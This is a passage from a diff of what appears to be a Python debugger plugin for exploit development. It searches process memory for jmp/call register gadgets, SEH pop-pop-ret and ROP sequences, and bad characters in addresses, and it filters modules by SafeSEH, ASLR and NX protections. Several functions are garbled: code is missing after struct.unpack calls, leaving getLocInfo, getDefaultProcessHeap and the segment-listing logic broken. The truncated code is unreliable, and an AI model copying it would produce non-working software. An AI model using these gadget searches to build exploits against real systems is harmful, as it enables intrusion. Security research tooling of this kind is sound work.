"Offset Address Contents Info" + logfile.write(line,thislog) + if not silent: + dbg.log(line) + line = "------ ------- -------- -----" + if arch == 64: + line = "------ ------- -------- -----" + logfile.write(line,thislog) + if not silent: + dbg.log(line) + + offset = 0 + + for loc in sortedkeys: + info = dumpdata[loc] + if len(info) > 1: + content = "" + if len(info) > 3: + content = info[3] + contentinfo = toAsciiOnly(info[1]) + offsetstr = toSize("%02x" % offset,4) + line = "+%s 0x%08x | 0x%s %s" % (offsetstr,loc,content,contentinfo) + if not silent: + dbg.log(line) + logfile.write(line,thislog) + offset += archValue(4,8) + if len(sortedkeys) > 0: + dbg.log("") + return + + def getLocInfo(self,loc,addy,startaddy,endaddy): + locinfo = [] + + if addy >= startaddy and addy <= endaddy: + offset = addy - startaddy + locinfo = ["self","ptr to self+0x%08x" % offset,""] + return locinfo + + ismapped = False + + extra = "" + ptrx = MnPointer(addy) + + memloc = ptrx.memLocation() + if not "??" in memloc: + if "Stack" in memloc or "Heap" in memloc: + extra = "(%s) " % memloc + else: + detailmemloc = ptrx.getPtrFunction() + extra = " (%s.%s)" % (memloc,detailmemloc) + + # maybe it's a pointer to an object ? + cmd2run = "dps 0x%08x L 1" % addy + output = dbg.nativeCommand(cmd2run) + outputlines = output.split("\n") + if len(outputlines) > 0: + if not "??" in outputlines[0]: + ismapped = True + ptraddy = outputlines[0][archValue(10,19):archValue(18,36)].replace("`","") + ptrinfo = outputlines[0][archValue(19,37):] + if ptrinfo.replace(" ","") != "": + if "vftable" in ptrinfo or "Heap" in memloc: + locinfo = ["ptr_obj","%sptr to 0x%08x : %s" % (extra,hexStrToInt(ptraddy),ptrinfo),str(addy)] + else: + locinfo = ["ptr","%sptr to 0x%08x : %s" % (extra,hexStrToInt(ptraddy),ptrinfo),str(addy)] + return locinfo + + if ismapped: + + # pointer to a string ? + try: + strdata = dbg.readString(addy) + if len(strdata) > 2: + datastr = strdata + if len(strdata) > 80: + datastr = strdata[0:80] + "..." + locinfo = ["ptr_str","%sptr to ASCII (0x%02x) '%s'" % (extra,len(strdata),datastr),"ascii"] + return locinfo + except: + pass + + # maybe it's unicode ? + try: + strdata = dbg.readWString(addy) + if len(strdata) > 2: + datastr = strdata + if len(strdata) > 80: + datastr = strdata[0:80] + "..." + locinfo = ["ptr_str","%sptr to UNICODE (0x%02x) '%s'" % (extra,len(strdata),datastr),"unicode"] + return locinfo + except: + pass + + # maybe the pointer points into a function ? + ptrf = ptrx.getPtrFunction() + if not ptrf == "": + locinfo = ["ptr_func","%sptr to %s" % (extra,ptrf),str(addy)] + return locinfo + + + # BSTR Unicode ? + try: + bstr = struct.unpack(' 2 and (bstr == len(strdata)+1): + datastr = strdata + if len(strdata) > 80: + datastr = strdata[0:80] + "..." + locinfo = ["ptr_str","%sptr to BSTR UNICODE (0x%02x) '%s'" % (extra,bstr,datastr),"unicode"] + return locinfo + except: + pass + + + # pointer to a BSTR ASCII? + try: + strdata = dbg.readString(addy+4) + if len(strdata) > 2 and (bstr == len(strdata)/2): + datastr = strdata + if len(strdata) > 80: + datastr = strdata[0:80] + "..." + locinfo = ["ptr_str","%sptr to BSTR ASCII (0x%02x) '%s'" % (extra,bstr,datastr),"ascii"] + return locinfo + except: + pass + + + + # pointer itself is a string ? + + if ptrx.isUnicode: + b1,b2,b3,b4,b5,b6,b7,b8 = (0,)*8 + if arch == 32: + b1,b2,b3,b4 = splitAddress(addy) + if arch == 64: + b1,b2,b3,b4,b5,b6,b7,b8 = splitAddress(addy) + ptrstr = toAscii(toHexByte(b2)) + toAscii(toHexByte(b4)) + if arch == 64: + ptrstr += toAscii(toHexByte(b6)) + toAscii(toHexByte(b8)) + if ptrstr.replace(" ","") != "" and not toHexByte(b2) == "00": + locinfo = ["str","= UNICODE '%s' %s" % (ptrstr,extra),"unicode"] + return locinfo + + + if ptrx.isAsciiPrintable: + b1,b2,b3,b4,b5,b6,b7,b8 = (0,)*8 + if arch == 32: + b1,b2,b3,b4 = splitAddress(addy) + if arch == 64: + b1,b2,b3,b4,b5,b6,b7,b8 = splitAddress(addy) + ptrstr = toAscii(toHexByte(b1)) + toAscii(toHexByte(b2)) + toAscii(toHexByte(b3)) + toAscii(toHexByte(b4)) + if arch == 64: + ptrstr += toAscii(toHexByte(b5)) + toAscii(toHexByte(b6)) + toAscii(toHexByte(b7)) + toAscii(toHexByte(b8)) + if ptrstr.replace(" ","") != "" and not toHexByte(b1) == "00" and not toHexByte(b2) == "00" and not toHexByte(b3) == "00" and not toHexByte(b4) == "00": + if arch != 64 or (not toHexByte(b5) == "00" and not toHexByte(b6) == "00" and not toHexByte(b7) == "00" and not toHexByte(b8) == "00"): + locinfo = ["str","= ASCII '%s' %s" % (ptrstr,extra),"ascii"] + return locinfo + + # pointer to heap ? + if "Heap" in memloc: + if not "??" in outputlines[0]: + ismapped = True + ptraddy = outputlines[0][archValue(10,19):archValue(18,36)] + locinfo = ["ptr_obj","%sptr to 0x%08x" % (extra,hexStrToInt(ptraddy)),str(addy)] + return locinfo + + # nothing special to report + return ["","",""] + + + +#---------------------------------------# +# Various functions # +#---------------------------------------# +def getDefaultProcessHeap(): + peb = dbg.getPEBAddress() + defprocheap = struct.unpack(' 0 and (nextbase+subtract != lastindex): + segstart = readPtrSizeBytes(segbase + archValue(0x24,0x40)) + segend = readPtrSizeBytes(segbase + archValue(0x28,0x48)) + if not segbase in segmentinfo: + segmentinfo[segbase] = [segbase,segend,segstart,segend] + else: + allsegmentsfound = True + segmentcnt += 1 + else: + offset = archValue(0x058,0x0a0) + i = 0 + while not allsegmentsfound: + thisbase = readPtrSizeBytes(heapbase + offset + i*archValue(4,8)) + if thisbase > 0 and not thisbase in segmentinfo: + # get start and end of segment + segstart = thisbase + segend = getSegmentEnd(segstart) + # get first and last valid entry + firstentry = readPtrSizeBytes(segstart + archValue(0x20,0x38)) + lastentry = readPtrSizeBytes(segstart + archValue(0x24,0x40)) + segmentinfo[thisbase] = [segstart,segend,firstentry,lastentry] + else: + allsegmentsfound = True + i += 1 + # avoid infinite loop + if i > 100: + allsegmentsfound = True + except: + pass + segmentlistCache[heapbase] = segmentinfo + return segmentinfo + +def containsBadChars(address,badchars="\x0a\x0d"): + """ + checks if the address contains bad chars + + Arguments: + address - the address + badchars - string with the characters that should be avoided (defaults to 0x0a and 0x0d) + + Return: + Boolean - True if badchars are found + """ + + bytes = splitAddress(address) + chars = [] + for byte in bytes: + chars.append(chr(byte)) + + # check each char + for char in chars: + if char in badchars: + return True + return False + + +def meetsCriteria(pointer,criteria): + """ + checks if an address meets the listed criteria + + Arguments: + pointer - the MnPointer instance of the address + criteria - a dictionary with all the criteria to be met + + Return: + Boolean - True if all the conditions are met + """ + + # Unicode + if "unicode" in criteria and not (pointer.isUnicode or pointer.unicodeTransform != ""): + return False + + if "unicoderev" in criteria and not pointer.isUnicodeRev: + return False + + # Ascii + if "ascii" in criteria and not pointer.isAscii: + return False + + # Ascii printable + if "asciiprint" in criteria and not pointer.isAsciiPrintable: + return False + + # Uppercase + if "upper" in criteria and not pointer.isUppercase: + return False + + # Lowercase + if "lower" in criteria and not pointer.isLowercase: + return False + + # Uppercase numeric + if "uppernum" in criteria and not pointer.isUpperNum: + return False + + # Lowercase numeric + if "lowernum" in criteria and not pointer.isLowerNum: + return False + + # Numeric + if "numeric" in criteria and not pointer.isNumeric: + return False + + # Alpha numeric + if "alphanum" in criteria and not pointer.isAlphaNumeric: + return False + + # Bad chars + if "badchars" in criteria and containsBadChars(pointer.getAddress(), criteria["badchars"]): + return False + + # Nulls + if "nonull" in criteria and pointer.hasNulls: + return False + + if "startswithnull" in criteria and not pointer.startsWithNull: + return False + + return True + +def search(sequences,criteria=[]): + """ + Alias for 'searchInRange' + search for byte sequences in a specified address range + + Arguments: + sequences - array of byte sequences to search for + start - the start address of the search (defaults to 0) + end - the end address of the search + criteria - Dictionary containing the criteria each pointer should comply with + + Return: + Dictionary (opcode sequence => List of addresses) + """ + return searchInRange(sequences,criteria) + + +def searchInRange(sequences, start=0, end=TOP_USERLAND,criteria=[]): + """ + search for byte sequences in a specified address range + + Arguments: + sequences - array of byte sequences to search for + start - the start address of the search (defaults to 0) + end - the end address of the search + criteria - Dictionary containing the criteria each pointer should comply with + + Return: + Dictionary (opcode sequence => List of addresses) + """ + + if not "accesslevel" in criteria: + criteria["accesslevel"] = "*" + global ptr_counter + global ptr_to_get + + found_opcodes = {} + + if (ptr_to_get < 0) or (ptr_to_get > 0 and ptr_counter < ptr_to_get): + + if not sequences: + return {} + + # check that start is before end + if start > end: + start, end = end, start + + dbg.setStatusBar("Searching...") + dbg.getMemoryPages() + process_error_found = False + for a in dbg.MemoryPages.keys(): + + if (ptr_to_get < 0) or (ptr_to_get > 0 and ptr_counter < ptr_to_get): + + # get end address of the page + page_start = a + page_size = dbg.MemoryPages[a].getSize() + page_end = a + page_size + + if ( start > page_end or end < page_start ): + # we are outside the search range, skip + continue + if (not meetsAccessLevel(dbg.MemoryPages[a],criteria["accesslevel"])): + #skip this page, not executable + continue + + # if the criteria check for nulls or unicode, we can skip + # modules that start with 00 + start_fb = toHex(page_start)[0:2] + end_fb = toHex(page_end)[0:2] + if ( ("nonull" in criteria and criteria["nonull"]) and start_fb == "00" and end_fb == "00" ): + if not silent: + dbg.log(" !Skipped search of range %08x-%08x (Has nulls)" % (page_start,page_end)) + continue + + if (( ("startswithnull" in criteria and criteria["startswithnull"])) + and (start_fb != "00" or end_fb != "00")): + if not silent: + dbg.log(" !Skipped search of range %08x-%08x (Doesn't start with null)" % (page_start,page_end)) + continue + + mem = dbg.MemoryPages[a].getMemory() + if not mem: + continue + + # loop on each sequence + for seq in sequences: + if (ptr_to_get < 0) or (ptr_to_get > 0 and ptr_counter < ptr_to_get): + buf = None + human_format = "" + if type(seq) == str: + human_format = seq.replace("\n"," # ") + buf = dbg.assemble(seq) + else: + human_format = seq[0].replace("\n"," # ") + buf = seq[1] + + recur_find = [] + try: + buf_len = len(buf) + mem_list = mem.split( buf ) + total_length = buf_len * -1 + except: + process_error_found = True + dbg.log(" ** Unable to process searchPattern '%s'. **" % human_format) + break + + for i in mem_list: + total_length = total_length + len(i) + buf_len + seq_address = a + total_length + recur_find.append( seq_address ) + + #The last one is the remaining slice from the split + #so remove it from the list + del recur_find[ len(recur_find) - 1 ] + + page_find = [] + for i in recur_find: + if ( i >= start and i <= end ): + + ptr = MnPointer(i) + + # check if pointer meets criteria + if not meetsCriteria(ptr, criteria): + continue + + page_find.append(i) + + ptr_counter += 1 + if ptr_to_get > 0 and ptr_counter >= ptr_to_get: + #stop search + if human_format in found_opcodes: + found_opcodes[human_format] += page_find + else: + found_opcodes[human_format] = page_find + return found_opcodes + #add current pointers to the list and continue + if len(page_find) > 0: + if human_format in found_opcodes: + found_opcodes[human_format] += page_find + else: + found_opcodes[human_format] = page_find + if process_error_found: + break + return found_opcodes + +# search for byte sequences in a module +def searchInModule(sequences, name,criteria=[]): + """ + search for byte sequences in a specified module + + Arguments: + sequences - array of byte sequences to search for + name - the name of the module to search in + + Return: + Dictionary (text opcode => array of addresses) + """ + + module = dbg.getModule(name) + if(not module): + self.log("module %s not found" % name) + return [] + + # get the base and end address of the module + start = module.getBaseAddress() + end = start + module.getSize() + + return searchInRange(sequences, start, end, criteria) + +def getRangesOutsideModules(): + """ + This function will enumerate all memory ranges that are not asssociated with a module + + Arguments : none + + Returns : array of arrays, each containing a start and end address + """ + ranges=[] + moduleranges=[] + #get all ranges associated with modules + #force full rebuild to get all modules + populateModuleInfo() + for thismodule,modproperties in g_modules.iteritems(): + top = 0 + base = 0 + for modprop,modval in modproperties.iteritems(): + if modprop == "top": + top = modval + if modprop == "base": + base = modval + moduleranges.append([base,top]) + #sort them + moduleranges.sort() + #get all ranges before, after and in between modules + startpointer = 0 + endpointer = TOP_USERLAND + for modbase,modtop in moduleranges: + endpointer = modbase-1 + ranges.append([startpointer,endpointer]) + startpointer = modtop+1 + ranges.append([startpointer,TOP_USERLAND]) + #return array + return ranges + +def isModuleLoadedInProcess(modulename): + if len(g_modules) == 0: + populateModuleInfo() + modulefound = False + module = dbg.getModule(modulename) + if(not module): + modulefound = False + else: + modulefound = True + return modulefound + + +def UnicodeTransformInfo(hexaddr): + """ + checks if the address can be used as unicode ansi transform + + Arguments: + hexaddr - a string containing the address in hex format (4 bytes - 8 characters) + + Return: + string with unicode transform info, or empty if address is not unicode transform + """ + outstring = "" + transform=0 + almosttransform=0 + begin = hexaddr[0] + hexaddr[1] + middle = hexaddr[4] + hexaddr[5] + twostr=hexaddr[2]+hexaddr[3] + begintwostr = hexaddr[6]+hexaddr[7] + threestr=hexaddr[4]+hexaddr[5]+hexaddr[6] + fourstr=hexaddr[4]+hexaddr[5]+hexaddr[6]+hexaddr[7] + beginfourstr = hexaddr[0]+hexaddr[1]+hexaddr[2]+hexaddr[3] + threestr=threestr.upper() + fourstr=fourstr.upper() + begintwostr = begintwostr.upper() + beginfourstr = beginfourstr.upper() + uniansiconv = [ ["20AC","80"], ["201A","82"], + ["0192","83"], ["201E","84"], ["2026","85"], + ["2020","86"], ["2021","87"], ["02C6","88"], + ["2030","89"], ["0106","8A"], ["2039","8B"], + ["0152","8C"], ["017D","8E"], ["2018","91"], + ["2019","92"], ["201C","93"], ["201D","94"], + ["2022","95"], ["2013","96"], ["2014","97"], + ["02DC","98"], ["2122","99"], ["0161","9A"], + ["203A","9B"], ["0153","9C"], ["017E","9E"], + ["0178","9F"] + ] + # 4 possible cases : + # 00xxBBBB + # 00xxBBBC (close transform) + # AAAA00xx + # AAAABBBB + convbyte="" + transbyte="" + ansibytes="" + #case 1 and 2 + if begin == "00": + for ansirec in uniansiconv: + if ansirec[0]==fourstr: + convbyte=ansirec[1] + transbyte=ansirec[1] + transform=1 + break + if transform==1: + outstring +="unicode ansi transformed : 00"+twostr+"00"+convbyte+"," + ansistring="" + for ansirec in uniansiconv: + if ansirec[0][:3]==threestr: + if (transform==0) or (transform==1 and ansirec[1] <> transbyte): + convbyte=ansirec[1] + ansibytes=ansirec[0] + ansistring=ansistring+"00"+twostr+"00"+convbyte+"->00"+twostr+ansibytes+" / " + almosttransform=1 + if almosttransform==1: + if transform==0: + outstring += "unicode possible ansi transform(s) : " + ansistring + else: + outstring +=" / alternatives (close pointers) : " + ansistring + + #case 3 + if middle == "00": + transform = 0 + for ansirec in uniansiconv: + if ansirec[0]==beginfourstr: + convbyte=ansirec[1] + transform=1 + break + if transform==1: + outstring +="unicode ansi transformed : 00"+convbyte+"00"+begintwostr+"," + #case 4 + if begin != "00" and middle != "00": + convbyte1="" + convbyte2="" + transform = 0 + for ansirec in uniansiconv: + if ansirec[0]==beginfourstr: + convbyte1=ansirec[1] + transform=1 + break + if transform == 1: + for ansirec in uniansiconv: + if ansirec[0]==fourstr: + convbyte2=ansirec[1] + transform=2 + break + if transform==2: + outstring +="unicode ansi transformed : 00"+convbyte1+"00"+convbyte2+"," + + # done + outstring = outstring.rstrip(" / ") + + if outstring: + if not outstring.endswith(","): + outstring += "," + return outstring + + +def getSearchSequences(searchtype,searchcriteria="",type="",criteria={}): + """ + will build array with search sequences for a given search type + + Arguments: + searchtype = "jmp", "seh" + + SearchCriteria (optional): + in case of "jmp" : string containing a register + + Return: + array with all searches to perform + """ + offsets = [ "", "0x04","0x08","0x0c","0x10","0x12","0x1C","0x20","0x24"] + regs=["eax","ebx","ecx","edx","esi","edi","ebp"] + search=[] + + if searchtype.lower() == "jmp": + if not searchcriteria: + searchcriteria = "esp" + searchcriteria = searchcriteria.lower() + + min = 0 + max = 0 + + if "mindistance" in criteria: + min = criteria["mindistance"] + if "maxdistance" in criteria: + max = criteria["maxdistance"] + + minval = min + + while minval <= max: + + extraval = "" + + if minval <> 0: + operator = "" + negoperator = "-" + if minval < 0: + operator = "-" + negoperator = "" + thisval = str(minval).replace("-","") + thishexval = toHex(int(thisval)) + + extraval = operator + thishexval + + if minval == 0: + search.append("jmp " + searchcriteria ) + search.append("call " + searchcriteria) + + for roffset in offsets: + search.append("push "+searchcriteria+"\nret "+roffset) + + for reg in regs: + if reg != searchcriteria: + search.append("push " + searchcriteria + "\npop "+reg+"\njmp "+reg) + search.append("push " + searchcriteria + "\npop "+reg+"\ncall "+reg) + search.append("mov "+reg+"," + searchcriteria + "\njmp "+reg) + search.append("mov "+reg+"," + searchcriteria + "\ncall "+reg) + search.append("xchg "+reg+","+searchcriteria+"\njmp " + reg) + search.append("xchg "+reg+","+searchcriteria+"\ncall " + reg) + for roffset in offsets: + search.append("push " + searchcriteria + "\npop "+reg+"\npush "+reg+"\nret "+roffset) + search.append("mov "+reg+"," + searchcriteria + "\npush "+reg+"\nret "+roffset) + search.append("xchg "+reg+","+searchcriteria+"\npush " + reg + "\nret " + roffset) + else: + # offset jumps + search.append("add " + searchcriteria + "," + operator + thishexval + "\njmp " + searchcriteria) + search.append("add " + searchcriteria + "," + operator + thishexval + "\ncall " + searchcriteria) + search.append("sub " + searchcriteria + "," + negoperator + thishexval + "\njmp " + searchcriteria) + search.append("sub " + searchcriteria + "," + negoperator + thishexval + "\ncall " + searchcriteria) + for roffset in offsets: + search.append("add " + searchcriteria + "," + operator + thishexval + "\npush " + searchcriteria + "\nret " + roffset) + search.append("sub " + searchcriteria + "," + negoperator + thishexval + "\npush " + searchcriteria + "\nret " + roffset) + if minval > 0: + search.append("jmp " + searchcriteria + extraval) + search.append("call " + searchcriteria + extraval) + minval += 1 + + if searchtype.lower() == "seh": + if type == "rop": + dbg.log(" - Looking for addresses that will help with SEH overwrite & ROP" ) + for roffset in offsets: + for r1 in regs: + if type == "rop": + search.append( ["add esp,4\npop " + r1+"\npop esp\nret "+roffset,dbg.assemble("add esp,4\npop " + r1+"\npop esp\nret "+roffset)] ) + search.append( ["pop " + r1+"\nadd esp,4\npop esp\nret "+roffset,dbg.assemble("pop " + r1+"\nadd esp,4\npop esp\nret "+roffset)] ) + else: + search.append( ["add esp,4\npop " + r1+"\nret "+roffset,dbg.assemble("add esp,4\npop " + r1+"\nret "+roffset)] ) + search.append( ["pop " + r1+"\nadd esp,4\nret "+roffset,dbg.assemble("pop " + r1+"\nadd esp,4\nret "+roffset)] ) + for r2 in regs: + if type == "rop": + search.append( ["pop "+r1+"\npop "+r2+"\npop esp\nret "+roffset,dbg.assemble("pop "+r1+"\npop "+r2+"\npop esp\nret "+roffset)] ) + for r3 in regs: + search.append( ["pop "+r1+"\npop "+r2+"\npop "+r3+"\ncall ["+r3+"]",dbg.assemble("pop "+r1+"\npop "+r2+"\npop "+r3+"\ncall ["+r3+"]")] ) + else: + thissearch = ["pop "+r1+"\npop "+r2+"\nret "+roffset,dbg.assemble("pop "+r1+"\npop "+r2+"\nret "+roffset)] + search.append( thissearch ) + if type != "rop": + search.append( ["add esp,8\nret "+roffset,dbg.assemble("add esp,8\nret "+roffset)]) + search.append( ["popad\npush ebp\nret "+roffset,dbg.assemble("popad\npush ebp\nret "+roffset)]) + else: + search.append( ["add esp,8\npop esp\nret "+roffset,dbg.assemble("add esp,8\npop esp\nret "+roffset)]) + if type != "rop": + #popad + jmp/call + search.append(["popad\njmp ebp",dbg.assemble("popad\njmp ebp")]) + search.append(["popad\ncall ebp",dbg.assemble("popad\ncall ebp")]) + #call / jmp dword + search.append(["call dword ptr ss:[esp+08]","\xff\x54\x24\x08"]) + search.append(["call dword ptr ss:[esp+08]","\xff\x94\x24\x08\x00\x00\x00"]) + search.append(["call dword ptr ds:[esp+08]","\x3e\xff\x54\x24\x08"]) + + search.append(["jmp dword ptr ss:[esp+08]","\xff\x64\x24\x08"]) + search.append(["jmp dword ptr ss:[esp+08]","\xff\xa4\x24\x08\x00\x00\x00"]) + search.append(["jmp dword ptr ds:[esp+08]","\x3e\xff\x64\x24\x08"]) + + search.append(["call dword ptr ss:[esp+14]","\xff\x54\x24\x14"]) + search.append(["call dword ptr ss:[esp+14]","\xff\x94\x24\x14\x00\x00\x00"]) + search.append(["call dword ptr ds:[esp+14]","\x3e\xff\x54\x24\x14"]) + + search.append(["jmp dword ptr ss:[esp+14]","\xff\x64\x24\x14"]) + search.append(["jmp dword ptr ss:[esp+14]","\xff\xa4\x24\x14\x00\x00\x00"]) + search.append(["jmp dword ptr ds:[esp+14]","\x3e\xff\x64\x24\x14"]) + + search.append(["call dword ptr ss:[esp+1c]","\xff\x54\x24\x1c"]) + search.append(["call dword ptr ss:[esp+1c]","\xff\x94\x24\x1c\x00\x00\x00"]) + search.append(["call dword ptr ds:[esp+1c]","\x3e\xff\x54\x24\x1c"]) + + search.append(["jmp dword ptr ss:[esp+1c]","\xff\x64\x24\x1c"]) + search.append(["jmp dword ptr ss:[esp+1c]","\xff\xa4\x24\x1c\x00\x00\x00"]) + search.append(["jmp dword ptr ds:[esp+1c]","\x3e\xff\x64\x24\x1c"]) + + search.append(["call dword ptr ss:[esp+2c]","\xff\x54\x24\x2c"]) + search.append(["call dword ptr ss:[esp+2c]","\xff\x94\x24\x2c\x00\x00\x00"]) + search.append(["call dword ptr ds:[esp+2c]","\x3e\xff\x54\x24\x2c"]) + + search.append(["jmp dword ptr ss:[esp+2c]","\xff\x64\x24\x2c"]) + search.append(["jmp dword ptr ss:[esp+2c]","\xff\xa4\x24\x2c\x00\x00\x00"]) + search.append(["jmp dword ptr ds:[esp+2c]","\x3e\xff\x64\x24\x2c"]) + + search.append(["call dword ptr ss:[esp+44]","\xff\x54\x24\x44"]) + search.append(["call dword ptr ss:[esp+44]","\xff\x94\x24\x44\x00\x00\x00"]) + search.append(["call dword ptr ds:[esp+44]","\x3e\xff\x54\x24\x44"]) + + search.append(["jmp dword ptr ss:[esp+44]","\xff\x64\x24\x44"]) + search.append(["jmp dword ptr ss:[esp+44]","\xff\xa4\x24\x44\x00\x00\x00"]) + search.append(["jmp dword ptr ds:[esp+44]","\x3e\xff\x64\x24\x44"]) + + search.append(["call dword ptr ss:[esp+50]","\xff\x54\x24\x50"]) + search.append(["call dword ptr ss:[esp+50]","\xff\x94\x24\x50\x00\x00\x00"]) + search.append(["call dword ptr ds:[esp+50]","\x3e\xff\x54\x24\x50"]) + + search.append(["jmp dword ptr ss:[esp+50]","\xff\x64\x24\x50"]) + search.append(["jmp dword ptr ss:[esp+50]","\xff\xa4\x24\x50\x00\x00\x00"]) + search.append(["jmp dword ptr ds:[esp+50]","\x3e\xff\x64\x24\x50"]) + + search.append(["call dword ptr ss:[ebp+0c]","\xff\x55\x0c"]) + search.append(["call dword ptr ss:[ebp+0c]","\xff\x95\x0c\x00\x00\x00"]) + search.append(["call dword ptr ds:[ebp+0c]","\x3e\xff\x55\x0c"]) + + search.append(["jmp dword ptr ss:[ebp+0c]","\xff\x65\x0c"]) + search.append(["jmp dword ptr ss:[ebp+0c]","\xff\xa5\x0c\x00\x00\x00"]) + search.append(["jmp dword ptr ds:[ebp+0c]","\x3e\xff\x65\x0c"]) + + search.append(["call dword ptr ss:[ebp+24]","\xff\x55\x24"]) + search.append(["call dword ptr ss:[ebp+24]","\xff\x95\x24\x00\x00\x00"]) + search.append(["call dword ptr ds:[ebp+24]","\x3e\xff\x55\x24"]) + + search.append(["jmp dword ptr ss:[ebp+24]","\xff\x65\x24"]) + search.append(["jmp dword ptr ss:[ebp+24]","\xff\xa5\x24\x00\x00\x00"]) + search.append(["jmp dword ptr ds:[ebp+24]","\x3e\xff\x65\x24"]) + + search.append(["call dword ptr ss:[ebp+30]","\xff\x55\x30"]) + search.append(["call dword ptr ss:[ebp+30]","\xff\x95\x30\x00\x00\x00"]) + search.append(["call dword ptr ds:[ebp+30]","\x3e\xff\x55\x30"]) + + search.append(["jmp dword ptr ss:[ebp+30]","\xff\x65\x30"]) + search.append(["jmp dword ptr ss:[ebp+30]","\xff\xa5\x30\x00\x00\x00"]) + search.append(["jmp dword ptr ds:[ebp+30]","\x3e\xff\x65\x30"]) + + search.append(["call dword ptr ss:[ebp-04]","\xff\x55\xfc"]) + search.append(["call dword ptr ss:[ebp-04]","\xff\x95\xfc\xff\xff\xff"]) + search.append(["call dword ptr ds:[ebp-04]","\x3e\xff\x55\xfc"]) + + search.append(["jmp dword ptr ss:[ebp-04]","\xff\x65\xfc",]) + search.append(["jmp dword ptr ss:[ebp-04]","\xff\xa5\xfc\xff\xff\xff",]) + search.append(["jmp dword ptr ds:[ebp-04]","\x3e\xff\x65\xfc",]) + + search.append(["call dword ptr ss:[ebp-0c]","\xff\x55\xf4"]) + search.append(["call dword ptr ss:[ebp-0c]","\xff\x95\xf4\xff\xff\xff"]) + search.append(["call dword ptr ds:[ebp-0c]","\x3e\xff\x55\xf4"]) + + search.append(["jmp dword ptr ss:[ebp-0c]","\xff\x65\xf4",]) + search.append(["jmp dword ptr ss:[ebp-0c]","\xff\xa5\xf4\xff\xff\xff",]) + search.append(["jmp dword ptr ds:[ebp-0c]","\x3e\xff\x65\xf4",]) + + search.append(["call dword ptr ss:[ebp-18]","\xff\x55\xe8"]) + search.append(["call dword ptr ss:[ebp-18]","\xff\x95\xe8\xff\xff\xff"]) + search.append(["call dword ptr ds:[ebp-18]","\x3e\xff\x55\xe8"]) + + search.append(["jmp dword ptr ss:[ebp-18]","\xff\x65\xe8",]) + search.append(["jmp dword ptr ss:[ebp-18]","\xff\xa5\xe8\xff\xff\xff",]) + search.append(["jmp dword ptr ds:[ebp-18]","\x3e\xff\x65\xe8",]) + return search + + +def getModulesToQuery(criteria): + """ + This function will return an array of modulenames + + Arguments: + Criteria - dictionary with module criteria + + Return: + array with module names that meet the given criteria + + """ + if len(g_modules) == 0: + populateModuleInfo() + modulestoquery=[] + for thismodule,modproperties in g_modules.iteritems(): + #is this module excluded ? + thismod = MnModule(thismodule) + included = True + if not thismod.isExcluded: + #check other criteria + if ("safeseh" in criteria) and ((not criteria["safeseh"]) and thismod.isSafeSEH): + included = False + if ("aslr" in criteria) and ((not criteria["aslr"]) and thismod.isAslr): + included = False + if ("rebase" in criteria) and ((not criteria["rebase"]) and thismod.isRebase): + included = False + if ("os" in criteria) and ((not criteria["os"]) and thismod.isOS): + included = False + if ("nx" in criteria) and ((not criteria["nx"]) and thismod.isNX): + included = False + else: + included = False + #override all previous decision if "modules" criteria was provided + thismodkey = thismod.moduleKey.lower().strip() + if ("modules" in criteria) and (criteria["modules"] != ""): + included = False + modulenames=criteria["modules"].split(",") + for modulename in modulenames: + modulename = modulename.strip('"').strip("'").lower() + modulenamewithout = modulename.replace("*","") + if len(modulenamewithout) <= len(thismodkey): + #endswith ? + if modulename[0] == "*": + if modulenamewithout == thismodkey[len(thismodkey)-len(modulenamewithout):len(thismodkey)]: + if not thismod.moduleKey in modulestoquery and not thismod.isExcluded: + modulestoquery.append(thismod.moduleKey) + #startswith ? + if modulename[len(modulename)-1] == "*": + if (modulenamewithout == thismodkey[0:len(modulenamewithout)] and not thismod.isExcluded): + if not thismod.moduleKey in modulestoquery: + modulestoquery.append(thismod.moduleKey) + #contains ? + if ((modulename[0] == "*" and modulename[len(modulename)-1] == "*") or (modulename.find("*") == -1)) and not thismod.isExcluded: + if thismodkey.find(modulenamewithout) > -1: + if not thismod.moduleKey in modulestoquery: + modulestoquery.append(thismod.moduleKey) + + if included: + modulestoquery.append(thismod.moduleKey) + return modulestoquery + + + +def getPointerAccess(address): + """ + Returns access level of specified address, in human readable format + + Arguments: + address - integer value + + Return: + Access level (human readable format) + """ + global MemoryPageACL + + paccess = "" + try: + page = dbg.getMemoryPageByAddress( address ) + if page in MemoryPageACL: + paccess = MemoryPageACL[page] + else: + paccess = page.getAccess( human = True ) + MemoryPageACL[page] = paccess + except: + paccess = "" + return paccess + + +def getModuleProperty(modname,parameter): + """ + Returns value of a given module property + Argument : + modname - module name + parameter name - (see populateModuleInfo()) + + Returns : + value associcated with the given parameter / module combination + + """ + modname=modname.strip() + parameter=parameter.lower() + valtoreturn="" + # try case sensitive first + for thismodule,modproperties in g_modules.iteritems(): + if thismodule.strip() == modname: + return modproperties[parameter] + return valtoreturn + + +def populateModuleInfo(): + """ + Populate global dictionary with information about all loaded modules + + Return: + Dictionary + """ + if not silent: + dbg.setStatusBar("Getting modules info...") + dbg.log("[+] Generating module info table, hang on...") + dbg.log(" - Processing modules") + dbg.updateLog() + global g_modules + g_modules={} + allmodules=dbg.getAllModules() + curmod = "" + for key in allmodules.keys(): + modinfo={} + thismod = MnModule(key) + if not thismod is None: + modinfo["path"] = thismod.modulePath + modinfo["base"] = thismod.moduleBase + modinfo["size"] = thismod.moduleSize + modinfo["top"] = thismod.moduleTop + modinfo["safeseh"] = thismod.isSafeSEH + modinfo["aslr"] = thismod.isAslr + modinfo["nx"] = thismod.isNX + modinfo["rebase"] = thismod.isRebase + modinfo["version"] = thismod.moduleVersion + modinfo["os"] = thismod.isOS + modinfo["name"] = key + modinfo["entry"] = thismod.moduleEntry + modinfo["codebase"] = thismod.moduleCodebase + modinfo["codesize"] = thismod.moduleCodesize + modinfo["codetop"] = thismod.moduleCodetop + g_modules[thismod.moduleKey] = modinfo + else: + if not silent: + dbg.log(" - Oops, potential issue with module %s, skipping module" % key) + if not silent: + dbg.log(" - Done. Let's rock 'n roll.") + dbg.setStatusBar("") + dbg.updateLog() + +def ModInfoCached(modulename): + """ + Check if the information about a given module is already cached in the global Dictionary + + Arguments: + modulename - name of the module to check + + Return: + Boolean - True if the module info is cached + """ + if (getModuleProperty(modulename,"base") == ""): + return False + else: + return True + +def showModuleTable(logfile="", modules=[]): + """ + Shows table with all loaded modules and their properties. + + Arguments : + empty string - output will be sent to log window + or + filename - output will be written to the filename + + modules - dictionary with modules to query - result of a populateModuleInfo() call + """ + thistable = "" + if len(g_modules) == 0: + populateModuleInfo() + thistable += "-----------------------------------------------------------------------------------------------------------------------------------------\n" + thistable += " Module info :\n" + 